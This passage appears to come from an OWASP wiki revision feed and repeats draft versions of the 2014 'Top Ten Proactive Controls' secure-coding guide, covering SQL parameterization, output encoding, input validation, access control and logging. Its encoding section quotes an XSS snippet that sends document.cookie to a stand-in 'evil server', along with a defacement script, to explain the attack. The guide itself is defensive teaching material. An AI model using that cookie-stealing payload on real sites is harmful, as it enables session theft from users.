&lt;br /&gt;
For more information on proper SSL/TLS configuration, please see the [[Transport Layer Protection Cheat Sheet]]. For information on protecting your users from man in the middle attacks via fraudulent SSL certificates, please see the [[Pinning Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Encryption at Rest TODO JMANICO===&lt;br /&gt;
&lt;br /&gt;
#1 forced to encrypt data via standards like PCI&lt;br /&gt;
#2 doing low level crypto by hand leads to bad crypto&lt;br /&gt;
#3 user well vetted libraries like KeyCzar&lt;br /&gt;
#4 key management a bear&lt;br /&gt;
#5 tiering and trust - crypto services vs embedding crypto at the app layer&lt;br /&gt;
#6 symmetric/asymmetric encryption&lt;br /&gt;
#7 weirdness of password strorage crypto (punt to the CS)&lt;br /&gt;
#8 digital signatures&lt;br /&gt;
#9 it's also important to ensure sensitive data is not cached in the browser. cache-control settings?&lt;br /&gt;
#10 For more information on low level decisions necessary when encrypting data at rest, please see the [[Cryptographic Storage Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
== 7) Logging, Error Handling and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. For more information please see the [[OWASP AppSensor Project]].&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
For more information on how to properly implement logging in an application, please see the [[Logging Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 8) Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* Spring Security : [http://static.springsource.org/spring-security/site/index.html]&lt;br /&gt;
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]&lt;br /&gt;
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
== 9) Security in Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project.  These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, forgot password or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of what personal and confidential information needs to be protected and tracked in the application. This will drive the need for access control, encryption and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
== 10) Security in Architecture and Design ==&lt;br /&gt;
&lt;br /&gt;
There are different areas where you need to be concerned about security in the architecture and design of a system:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls are enforced at the client, the web layer, the business layer, the data layer, and where you need to establish trust between different systems or different parts of the same system. Understand trust boundaries: what is inside or outside of a trust boundary, what actors or data can be trusted, what should not be? This determines where you need to make decisions about authentication, access control, data validation and encoding, encryption and logging.&lt;br /&gt;
&lt;br /&gt;
3) '''Understand the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (whether you should do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
For more information, see the [[Attack Surface Analysis Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source. &lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
= Who are we? =&lt;br /&gt;
&lt;br /&gt;
Jim Manico jim@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock vanderaj@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries stephen@continuumsecurity.net&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird jimbird@shaw.ca&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= About =&lt;br /&gt;
{{:Projects/OWASP_Proactive_Controls}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=170112</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=170112"/>
				<updated>2014-03-14T14:27:25Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:Proactive.png‎|500px|frameless|architecture]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is this? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls&lt;br /&gt;
&lt;br /&gt;
* This document was written by developers for developers, to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
== Email List ==&lt;br /&gt;
&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List ]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
Project Leaders:&amp;lt;br/&amp;gt;Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
Contributors: &amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Feb 4 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [https://creativecommons.org/licenses/by-sa/3.0/us/ CC BY-SA 3.0 US]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten and one half Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
== 1) Query Parameterization ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization  Parameterization  in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Query Parameterization Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 2) Encoding ==&lt;br /&gt;
&lt;br /&gt;
A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed. &lt;br /&gt;
&lt;br /&gt;
Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.&lt;br /&gt;
&lt;br /&gt;
For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
== 3) Validation ==&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Also, it's critical to treat all client side data as untrusted. (we need to expand on this)&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
== 4) Access Control TODO JMANICO ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
=== Access Control Issues===&lt;br /&gt;
&lt;br /&gt;
* Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
* Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
* Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
* Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
* Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
* Many administrative interfaces require only a password for authentication&lt;br /&gt;
* Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
* Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
* Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
* Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
* Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
* Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Control Anti-Patterns ===&lt;br /&gt;
&lt;br /&gt;
* Hard-coded role checks in application code&lt;br /&gt;
* Lack of centralized access control logic&lt;br /&gt;
* Untrusted data driving access control decisions&lt;br /&gt;
* Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
* Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
* Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
* non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
* No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
For more information on access control, please see the [[Access Control Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 5) Identity and Authentication ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Authentication Cheat Sheet]], the [[Password Storage Cheat Sheet]], the [[Forgot Password Cheat Sheet]] and the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 6) Data Protection and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
For more information on proper SSL/TLS configuration, please see the [[Transport Layer Protection Cheat Sheet]]. For information on protecting your users from man in the middle attacks via fraudulent SSL certificates, please see the [[Pinning Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Encryption at Rest TODO JMANICO===&lt;br /&gt;
&lt;br /&gt;
#1 forced to encrypt data via standards like PCI&lt;br /&gt;
#2 doing low level crypto by hand leads to bad crypto&lt;br /&gt;
#3 user well vetted libraries like KeyCzar&lt;br /&gt;
#4 key management a bear&lt;br /&gt;
#5 tiering and trust - crypto services vs embedding crypto at the app layer&lt;br /&gt;
#6 symmetric/asymmetric encryption&lt;br /&gt;
#7 weirdness of password strorage crypto (punt to the CS)&lt;br /&gt;
#8 digital signatures&lt;br /&gt;
#9 it's also important to ensure sensitive data is not cached in the browser. cache-control settings?&lt;br /&gt;
#10 For more information on low level decisions necessary when encrypting data at rest, please see the [[Cryptographic Storage Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
== 7) Logging, Error Handling and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. For more information please see the [[OWASP AppSensor Project]].&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
For more information on how to properly implement logging in an application, please see the [[Logging Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 8) Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* Spring Security : [http://static.springsource.org/spring-security/site/index.html]&lt;br /&gt;
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]&lt;br /&gt;
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
== 9) Security in Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project.  These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use-cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, forgot password or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse-cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse scenarios will uncover weaknesses that need to be addressed to improve the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of what personal and confidential information needs to be protected and tracked in the application. This will drive the need for access control, encryption and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
== 10) Security in Architecture and Design ==&lt;br /&gt;
&lt;br /&gt;
There are different areas where you need to be concerned about security in the architecture and design of a system:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls are enforced at the client, the web layer, the business layer, the data layer, and where you need to establish trust between different systems or different parts of the same system. Understand trust boundaries: what is inside or outside of a trust boundary, what actors or data can be trusted, what should not be? This determines where you need to make decisions about authentication, access control, data validation and encoding, encryption and logging.&lt;br /&gt;
&lt;br /&gt;
3) '''Understand the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (whether you should do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
For more information, see the [[Attack Surface Analysis Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source. &lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
